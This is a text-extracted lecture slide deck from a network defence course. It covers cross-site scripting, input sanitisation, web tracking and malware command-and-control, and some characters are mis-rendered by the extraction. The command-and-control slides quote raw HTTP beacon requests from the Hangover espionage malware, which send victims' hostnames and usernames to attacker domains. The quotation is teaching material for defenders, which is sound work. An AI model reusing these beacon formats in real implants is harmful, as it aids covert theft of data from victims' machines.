
Defending	
  Computer	
  Networks	
  
Lecture	
  20:	
  Finishing	
  Web	
  Security	
  

Stuart	
  Staniford	
  
Adjunct	
  Professor	
  of	
  Computer	
  Science	
  



Logis;cs	
  
•  Project	
  milestone	
  1	
  due	
  tomorrow	
  
•  HW4	
  on	
  website	
  due	
  Tuesday.	
  
•  Piazza	
  
– Set-­‐up	
  (sorta)	
  



Latest	
  News	
  



More	
  News	
  



Assigned	
  Reading	
  

•  hLp://normanshark.com/pdf/Unveiling%20an
%20Indian%20CyberaLack
%20Infrastructure-­‐23_FINAL_052013.pdf	
  



Main	
  Goals	
  for	
  Today	
  

•  Finish	
  up	
  various	
  web-­‐related	
  bits	
  and	
  pieces	
  
– Cross-­‐site	
  Scrip;ng	
  
– Web	
  tracking/privacy	
  
– Command-­‐and-­‐control	
  



Same	
  Origin	
  Policy	
  
•  Principle	
  enforced	
  by	
  browser	
  is:	
  
– Protocol,	
  host,	
  and	
  port	
  must	
  all	
  match	
  

So	
  ladygaga.com	
  <script>s	
  shouldn’t	
  be	
  able	
  to	
  talk	
  to	
  wellsfargo.com	
  



Form	
  Genera;on	
  

•  hLp://www.w3schools.com/html/
html_forms.asp	
  
– Especially	
  examine	
  the	
  submit	
  buLon	
  form	
  
– Use	
  the	
  submit	
  buLon	
  
– Examine	
  the	
  url	
  with	
  parameters	
  
– Examine	
  the	
  generated	
  output	
  html	
  source	
  
– What	
  is	
  the	
  server	
  code	
  doing	
  here?	
  
– Try	
  inpubng	
  <i>blah</i>	
  



Set-­‐Cookie:	
  Syntax	
  

hLp://en.wikipedia.org/wiki/HTTP_cookie	
  



Cookie:	
  Syntax	
  



Pubng	
  It	
  Together	
  

•  Elements	
  of	
  an	
  XSS	
  aLack	
  scenario	
  
–  I	
  use	
  server	
  with	
  sensi;ve	
  content	
  (bank)	
  
–  Bank	
  server	
  code	
  that	
  doesn’t	
  eliminate	
  markup	
  
– ALacker	
  (Lady	
  Gaga)	
  tricks	
  me	
  into	
  visi;ng	
  a	
  link	
  to	
  
bank,	
  	
  
•  but	
  of	
  her	
  construc;on	
  	
  
•  while	
  I’m	
  logged	
  into	
  bank	
  

–  Bank	
  incorporates	
  Lady	
  Gaga’s	
  code	
  into	
  webpage	
  
– Now	
  her	
  javascript	
  can	
  access	
  bank	
  	
  

•  with	
  my	
  login	
  privileges	
  (has	
  my	
  cookie)	
  
•  Now	
  she	
  can	
  steal	
  my	
  $609.31!	
  	
  	
  



XSS	
  Example	
  



Let’s	
  Walk	
  Through	
  

•  hLp://roy-­‐cas;llo.blogspot.ru/2013/10/
google-­‐mail-­‐hacking-­‐stored-­‐xss-­‐in-­‐
gmail_11.html	
  



Issues	
  on	
  Sani;zing	
  Input	
  to	
  HTML	
  

hLp://www.cert.org/tech_;ps/malicious_code_mi;ga;on.html	
  



What	
  Is	
  Special?	
  

•  Highly	
  dependent	
  on	
  context	
  
•  In	
  middle	
  of	
  text:	
  <	
  &	
  >	
  
•  In	
  an	
  aLribute	
  value:	
  “	
  ‘	
  ws	
  &	
  
•  In	
  Urls:	
  ws	
  &	
  .	
  /	
  %	
  
•  Within	
  <script></script>:	
  ;	
  {}	
  ()	
  
•  Anything	
  that	
  will	
  be	
  special	
  to	
  server-­‐side…	
  
•  Generally	
  much	
  beLer	
  to	
  posi;vely	
  insist	
  input	
  
;ghtly	
  matches	
  expected	
  format,	
  	
  

•  rather	
  than	
  try	
  to	
  handle	
  all	
  special	
  cases	
  
•  Be	
  paranoid!	
  



Web	
  Tracking	
  



Main	
  Sets	
  of	
  Actors	
  

•  Consumer	
  tech	
  companies	
  (Google,	
  FB)	
  
– We	
  voluntarily	
  give	
  them	
  tons	
  of	
  informa;on	
  

•  Adver;sers	
  (and	
  related	
  providers)	
  
– Can	
  track	
  our	
  behavior	
  pervasively	
  via	
  Cookies	
  

•  Law	
  Enforcement	
  
– Can	
  get	
  everything	
  aper	
  the	
  fact	
  

•  Intelligence	
  agencies	
  
– Appear	
  to	
  know	
  more	
  than	
  God.	
  



Do	
  Not	
  Track	
  



Do	
  Not	
  Track	
  Details	
  

•  HTTP	
  Header	
  
– DNT:	
  <value>	
  

•  1	
  (user	
  requests	
  no	
  tracking)	
  
•  0	
  (user	
  has	
  approved	
  tracking)	
  
•  unset	
  (user	
  has	
  expressed	
  no	
  preference)	
  

•  Can	
  also	
  turn	
  off	
  third	
  party	
  cookies	
  in	
  
browser	
  
– Some	
  websites	
  will	
  break	
  

hLp://www.w3.org/TR/tracking-­‐dnt/	
  



Command	
  and	
  Control	
  

•  Protocols	
  by	
  which	
  dark	
  side	
  controls	
  their	
  
minions	
  

hLp://brotherpeacemaker.wordpress.com/2012/01/	
  



Internet	
  

Command	
  and	
  Control	
  
•  Mostly	
  HTTP/HTTPS	
  
–  For	
  firewall	
  transit	
  reasons	
  

•  Otherwise	
  highly	
  variable,	
  case-­‐by-­‐case	
  	
  

Firewall	
  

C&C	
  web	
  server	
  

Firewall	
  



Very	
  Recent	
  Example	
  

hLp://www.fireeye.com/blog/technical/cyber-­‐exploits/2013/11/the-­‐dual-­‐use-­‐
exploit-­‐cve-­‐2013-­‐3906-­‐used-­‐in-­‐both-­‐targeted-­‐aLacks-­‐and-­‐crimeware-­‐
campaigns.html	
  



Hangover	
  

•  hLp://normanshark.com/pdf/Unveiling%20an
%20Indian%20CyberaLack
%20Infrastructure-­‐23_FINAL_052013.pdf	
  

•  Spear-­‐phishing	
  campaigns	
  
•  Targets	
  of	
  na;onal	
  security	
  interest	
  
– Mainly	
  in	
  Pakistan	
  
– Some	
  China	
  
– Some	
  Indian	
  dissident/separa;st	
  groups	
  also	
  
– Some	
  economic	
  espionage	
  also	
  



Hangover	
  C&C	
  messages	
  
GET	
  /logitech/rt.php?cn=[HOSTNAME]@[USERNAME]&str=&file=no	
  HTTP/1.1	
  
User-­‐Agent:	
  WinInetGet/0.1	
  
Host:	
  krickmart.com	
  
Connec;on:	
  Keep-­‐Alive	
  
Cache-­‐Control:	
  no-­‐cache	
  

GET	
  /NewsApp/rssfeed.php?a=[TEXT]&134416	
  HTTP/1.1	
  
Accept:	
  */*	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
User-­‐Agent:	
  Mozilla/4.0	
  (compa;ble;	
  MSIE	
  7.0;	
  Windows	
  NT	
  5.1;	
  Trident/4.0;	
  .NET	
  CLR	
  
2.0.50727;	
  .NET	
  CLR	
  3.0.04506.648;	
  .NET	
  CLR	
  3.5.21022;	
  InfoPath.2)	
  
Host:	
  appworldstores.com	
  
Connec;on:	
  Keep-­‐Alive	
  

GET	
  /amd/psp.php?p=1&g=[TEXT]&v=RE[]&s=MicrosopWindowsXPProfessional-­‐32&t=[HOSTNAME]-­‐
[USERNAME]&r=[0]&X9S8T3	
  HTTP/1.1	
  
Accept:	
  */*	
  
Accept-­‐Encoding:	
  gzip,	
  deflate	
  
User-­‐Agent:	
  Mozilla/4.0	
  (compa;ble;	
  MSIE	
  7.0;	
  Windows	
  NT	
  5.1;	
  Trident/4.0;	
  .NET	
  CLR	
  
2.0.50727;	
  .NET	
  CLR	
  3.0.04506.648;	
  .NET	
  CLR	
  3.5.21022;	
  InfoPath.2)	
  
Host:	
  lampur.com	
  
Connec;on:	
  Keep-­‐Alive	
  



Arx	
  -­‐	
  cybercriminals	
  

Downloads	
  Citadel	
  –	
  Zeus	
  variant	
  –	
  for	
  stealing	
  banking	
  creden;als	
  



Citadel	
  Botnet	
  

hLp://www.symantec.com/connect/blogs/citadel-­‐s-­‐defenses-­‐breached	
  
Uses	
  encrypted	
  communica;on	
  of	
  HTTP	
  



Rela;onship	
  

•  Both	
  groups	
  target	
  India/Pakistan	
  
– Hangover	
  looks	
  na;onal	
  security	
  oriented	
  
– Arx	
  looks	
  cybercriminal	
  
– No	
  common	
  infrastructure	
  
– Arx	
  started	
  using	
  0day	
  9/26	
  

•  ROP	
  based	
  exploit	
  of	
  fixed	
  library	
  to	
  bypass	
  ASLR/DEP	
  
– Hangover	
  started	
  using	
  0day	
  10/23	
  

•  Older	
  style	
  exploit	
  of	
  Win	
  XP	
  with	
  no	
  ASLR/DEP	
  bypass	
  

– Dates	
  based	
  on	
  VT	
  samples	
  



Comment	
  Crew	
  (PLA	
  61938)	
  

hLp://fasthorizon.blogspot.com/2011/08/inside-­‐apt-­‐comment-­‐crew-­‐covert.html	
  



Steganography	
  

hLp://www.cyberengineeringservices.com/downloader-­‐bmp/	
  


